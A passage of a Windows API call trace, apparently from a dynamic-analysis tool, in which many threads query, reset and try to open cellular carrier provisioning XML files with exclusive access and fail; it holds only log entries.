Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\505__Connections_Cellular_Verizon (United States) Admin_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\505__connections_cellular_verizon (united states) admin_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.363] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\505__Connections_Cellular_Verizon (United States) Admin_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.363] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fedd70) returned 1 [0181.363] RtlExitUserThread (Status=0x0) Thread: id = 3101 os_tid = 0x1220 [0181.293] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\506__Connections_Cellular_Verizon (United States) App_i3$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\506__connections_cellular_verizon (united states) app_i3$(__mvid)@wap.provxml")) returned 0x20 [0181.362] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\506__Connections_Cellular_Verizon (United States) App_i3$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.362] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\506__Connections_Cellular_Verizon (United States) App_i3$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\506__connections_cellular_verizon (united states) app_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.362] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\506__Connections_Cellular_Verizon (United States) App_i3$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.362] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fedaa0) returned 1 [0181.362] RtlExitUserThread (Status=0x0) Thread: id = 3102 os_tid = 0x1224 [0181.293] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\507__Connections_Cellular_Verizon (United States) Ims_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\507__connections_cellular_verizon (united states) ims_i2$(__mvid)@wap.provxml")) returned 0x20 [0181.360] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\507__Connections_Cellular_Verizon (United States) Ims_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.360] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\507__Connections_Cellular_Verizon (United States) Ims_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\507__connections_cellular_verizon (united states) ims_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.361] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\507__Connections_Cellular_Verizon (United States) Ims_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.361] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fed7d0) returned 1 [0181.361] RtlExitUserThread (Status=0x0) Thread: id = 3103 os_tid = 0x1228 [0181.294] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\508__Connections_Cellular_Verizon (United States) Internet_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\508__connections_cellular_verizon (united states) internet_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.529] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\508__Connections_Cellular_Verizon (United States) Internet_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.529] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\508__Connections_Cellular_Verizon (United States) Internet_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\508__connections_cellular_verizon (united states) internet_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.529] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\508__Connections_Cellular_Verizon (United States) Internet_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.529] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6cb80) returned 1 [0181.529] RtlExitUserThread (Status=0x0) Thread: id = 3104 os_tid = 0x122c [0181.294] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\509__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\509__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0181.391] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\509__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0181.392] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\509__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\509__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.392] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\509__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0181.392] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054f80) returned 1 [0181.392] RtlExitUserThread (Status=0x0) Thread: id = 3105 os_tid = 0x1230 [0181.295] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\50__Connections_Cellular_BH Telekom Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\50__connections_cellular_bh telekom bosnia (bosnia and herzegovina)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.390] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\50__Connections_Cellular_BH Telekom Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.390] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\50__Connections_Cellular_BH Telekom Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\50__connections_cellular_bh telekom bosnia (bosnia and herzegovina)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.390] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\50__Connections_Cellular_BH Telekom Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.390] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8d528) returned 1 [0181.391] RtlExitUserThread (Status=0x0) Thread: id = 3106 os_tid = 0x1234 [0181.295] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\510__Cellular_PerSimSettings_$(__ICCID)_NetworkBlockList.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\510__cellular_persimsettings_$(__iccid)_networkblocklist.provxml")) returned 0x20 [0181.389] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\510__Cellular_PerSimSettings_$(__ICCID)_NetworkBlockList.provxml", dwFileAttributes=0x20) returned 0 [0181.389] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\510__Cellular_PerSimSettings_$(__ICCID)_NetworkBlockList.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\510__cellular_persimsettings_$(__iccid)_networkblocklist.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.389] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\510__Cellular_PerSimSettings_$(__ICCID)_NetworkBlockList.provxml", dwFileAttributes=0x20) returned 0 [0181.389] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f01cb0) returned 1 [0181.389] RtlExitUserThread (Status=0x0) Thread: id = 3107 os_tid = 0x123c [0181.295] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\511__Cellular_PerSimSettings_$(__ICCID)_SIMBlockList.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\511__cellular_persimsettings_$(__iccid)_simblocklist.provxml")) returned 0x20 [0181.387] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\511__Cellular_PerSimSettings_$(__ICCID)_SIMBlockList.provxml", dwFileAttributes=0x20) returned 0 [0181.387] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\511__Cellular_PerSimSettings_$(__ICCID)_SIMBlockList.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\511__cellular_persimsettings_$(__iccid)_simblocklist.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.387] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\511__Cellular_PerSimSettings_$(__ICCID)_SIMBlockList.provxml", dwFileAttributes=0x20) returned 0 [0181.388] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8d6a8) returned 1 [0181.388] RtlExitUserThread (Status=0x0) Thread: id = 3108 os_tid = 0x1240 [0181.296] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\512__Connections_Cellular_Ancel (Uruguay)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\512__connections_cellular_ancel (uruguay)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.386] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\512__Connections_Cellular_Ancel (Uruguay)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.386] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\512__Connections_Cellular_Ancel (Uruguay)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\512__connections_cellular_ancel (uruguay)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.386] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\512__Connections_Cellular_Ancel (Uruguay)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.386] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02980) returned 1 [0181.386] RtlExitUserThread (Status=0x0) Thread: id = 3109 os_tid = 0x1244 [0181.296] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\513__Connections_Cellular_Claro (Uruguay)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\513__connections_cellular_claro (uruguay)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.385] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\513__Connections_Cellular_Claro (Uruguay)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.385] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\513__Connections_Cellular_Claro (Uruguay)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\513__connections_cellular_claro (uruguay)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.385] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\513__Connections_Cellular_Claro (Uruguay)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.385] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02ac8) returned 1 [0181.385] RtlExitUserThread (Status=0x0) Thread: id = 3110 os_tid = 0x1248 [0181.676] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\514__Connections_Cellular_Telefonica (Uruguay)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\514__connections_cellular_telefonica (uruguay)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.809] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\514__Connections_Cellular_Telefonica (Uruguay)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.809] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\514__Connections_Cellular_Telefonica (Uruguay)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\514__connections_cellular_telefonica (uruguay)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.809] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\514__Connections_Cellular_Telefonica (Uruguay)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.810] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2710) returned 1 [0181.810] RtlExitUserThread (Status=0x0) Thread: id = 3111 os_tid = 0x124c [0181.677] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\515__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\515__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0181.808] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\515__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0181.808] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\515__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\515__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.808] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\515__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0181.808] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054968) returned 1 [0181.808] RtlExitUserThread (Status=0x0) Thread: id = 3112 os_tid = 0x1250 [0181.677] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\516__Connections_Cellular_Uzdunrobita (Uzbekistan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\516__connections_cellular_uzdunrobita (uzbekistan)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.780] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\516__Connections_Cellular_Uzdunrobita (Uzbekistan)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.780] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\516__Connections_Cellular_Uzdunrobita (Uzbekistan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\516__connections_cellular_uzdunrobita (uzbekistan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.780] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\516__Connections_Cellular_Uzdunrobita (Uzbekistan)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.781] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa2158) returned 1 [0181.781] RtlExitUserThread (Status=0x0) Thread: id = 3113 os_tid = 0x1254 [0181.678] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\517__Connections_Cellular_Telefonica (Venezuela)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\517__connections_cellular_telefonica (venezuela)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.779] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\517__Connections_Cellular_Telefonica (Venezuela)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.779] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\517__Connections_Cellular_Telefonica (Venezuela)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\517__connections_cellular_telefonica (venezuela)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.779] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\517__Connections_Cellular_Telefonica (Venezuela)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.779] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe19a0) returned 1 [0181.779] RtlExitUserThread (Status=0x0) Thread: id = 3114 os_tid = 0x125c [0181.678] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\518__Connections_Cellular_Viettel (Vietnam)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\518__connections_cellular_viettel (vietnam)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.778] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\518__Connections_Cellular_Viettel (Vietnam)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.778] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\518__Connections_Cellular_Viettel (Vietnam)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\518__connections_cellular_viettel (vietnam)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.778] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\518__Connections_Cellular_Viettel (Vietnam)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.778] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1038) returned 1 [0181.778] RtlExitUserThread (Status=0x0) Thread: id = 3115 os_tid = 0x1260 [0181.679] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\519__Connections_Cellular_Vinaphone (Vietnam)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\519__connections_cellular_vinaphone (vietnam)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.777] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\519__Connections_Cellular_Vinaphone (Vietnam)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.777] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\519__Connections_Cellular_Vinaphone (Vietnam)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\519__connections_cellular_vinaphone (vietnam)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.777] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\519__Connections_Cellular_Vinaphone (Vietnam)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.777] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2058) returned 1 [0181.777] RtlExitUserThread (Status=0x0) Thread: id = 3116 os_tid = 0x1268 [0181.679] GetFileAttributesW 